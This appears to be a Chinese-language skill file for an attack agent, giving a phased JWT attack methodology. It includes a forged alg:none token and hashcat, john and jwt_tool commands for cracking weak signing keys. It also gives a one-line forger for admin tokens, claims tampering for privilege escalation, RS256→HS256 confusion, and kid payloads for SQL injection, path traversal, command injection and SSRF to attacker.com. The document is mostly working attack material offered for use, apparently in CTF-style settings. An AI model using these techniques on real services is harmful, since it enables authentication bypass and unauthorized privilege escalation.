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jwt-attack-methodology

DevOps & Security
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JWT Token 攻击方法论。当响应头/Cookie 中出现 eyJ 开头的字符串(三段式 base64,Header.Payload.Signature)、Authorization: Bearer token、API 返回 token/access_token 字段时使用。包含 alg:none 绕过、弱密钥爆破(hashcat/john/c-jwt-cracker/jwt_tool 完整工具链)、Claims 篡改提权、RS256->HS256 算法混淆、kid 注入(SQL/路径穿越/命令注入)、jku/x5u 替换。注意:非 JWT 的 Cookie 分析请使用 cookie-analysis

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JWT 攻击方法论

Phase 1: 获取和解码 JWT

  1. 登录获取 token(检查响应头 Set-Cookie 和响应体 JSON 字段)
  2. 确认 JWT 格式:三段 Base64 由 . 分隔(Header.Payload.Signature)
  3. 使用 jwt_decode 工具或 echo '<part>' | base64 -d 手动解码:
    • Header:检查 alg 字段(HS256/RS256/none)、kid/jku/x5u 参数
    • Payload:检查 sub、role、admin、is_admin、user_id、exp 等 Claims
    • 记录签名算法、过期时间、关键权限字段
  4. 检查 token 是否过期:exp 字段转换为 Unix 时间戳对比当前时间
  5. 对比不同用户的 JWT,找出权限相关字段的差异

⛔ 深入参考(发现 JWT 后必读)

Phase 2: None Algorithm 攻击

  1. 将 Header 中 alg 改为 none,删除 Signature 部分(保留末尾的 .)
  2. 重新 Base64 编码 Header 和 Payload,拼接为 header.payload.
  3. 发送请求,观察服务端是否接受无签名 token
  4. 尝试大小写变种绕过:"none", "None", "NONE", "nOnE", "NoNe"
  5. 某些库只在 alg 为精确 "none" 时绕过,需逐个测试
原始: eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.SIGNATURE
攻击: eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4ifQ.

Phase 3: 弱密钥爆破(HS256/HS384/HS512 专用)

  1. 手动测试常见弱密钥:secret, password, 123456, key, jwt_secret, changeme, ""(空字符串)
  2. 使用 hashcat 离线爆破:hashcat -m 16500 jwt.txt wordlist.txt
  3. 使用 john:john jwt.txt --wordlist=wordlist.txt --format=HMAC-SHA256
  4. 轻量工具 c-jwt-cracker:./jwtcrack <token>(纯暴力,适合短密钥)
  5. jwt_tool 综合工具:python3 jwt_tool.py <token> -C -d wordlist.txt
  6. 知道密钥后伪造 token:
import jwt; print(jwt.encode({'user':'admin','role':'admin'}, 'SECRET_KEY', algorithm='HS256'))

→ 完整爆破工具链和弱密钥模式表 → references/jwt-advanced.md

Phase 4: Claims 篡改

  1. 解码 Payload,列出所有 Claims 字段
  2. 修改权限相关字段:role:user→admin | is_admin:false→true | user_id:5→1
  3. 尝试添加新字段:"admin":true、"groups":["admin"]
  4. 修改 exp 延长 token 有效期(如改为 2099 年时间戳)
  5. 使用已知密钥重新签名,替换原 token 发送请求
  6. 对比响应确认权限是否提升(检查 HTTP 状态码、响应内容、可访问的端点)

Phase 5: RS256→HS256 算法混淆

  1. 确认服务端使用 RS256(非对称)算法签名
  2. 获取公钥:请求 /api/jwks、/.well-known/jwks.json、/oauth/jwks
  3. 将 Header 中 alg 从 RS256 改为 HS256
  4. 使用 RS256 的公钥作为 HS256 的对称密钥签名 token
  5. 发送篡改后的 token,利用服务端用公钥做 HMAC 验证的逻辑漏洞 → 详细原理和脚本 → references/jwt-advanced.md

Phase 6: kid 参数注入

  1. 检查 JWT Header 中是否存在 kid(Key ID)字段
  2. SQL 注入:"kid":"1' UNION SELECT 'my-key' -- " → 用 my-key 签名
  3. 路径穿越:"kid":"../../dev/null" → 用空文件内容作为密钥签名
  4. 命令注入:"kid":"key|cat /flag.txt" → 某些实现会执行 shell 命令
  5. SSRF:"kid":"http://attacker.com/key" → 从攻击者服务器获取密钥 → 完整 payload → references/jwt-advanced.md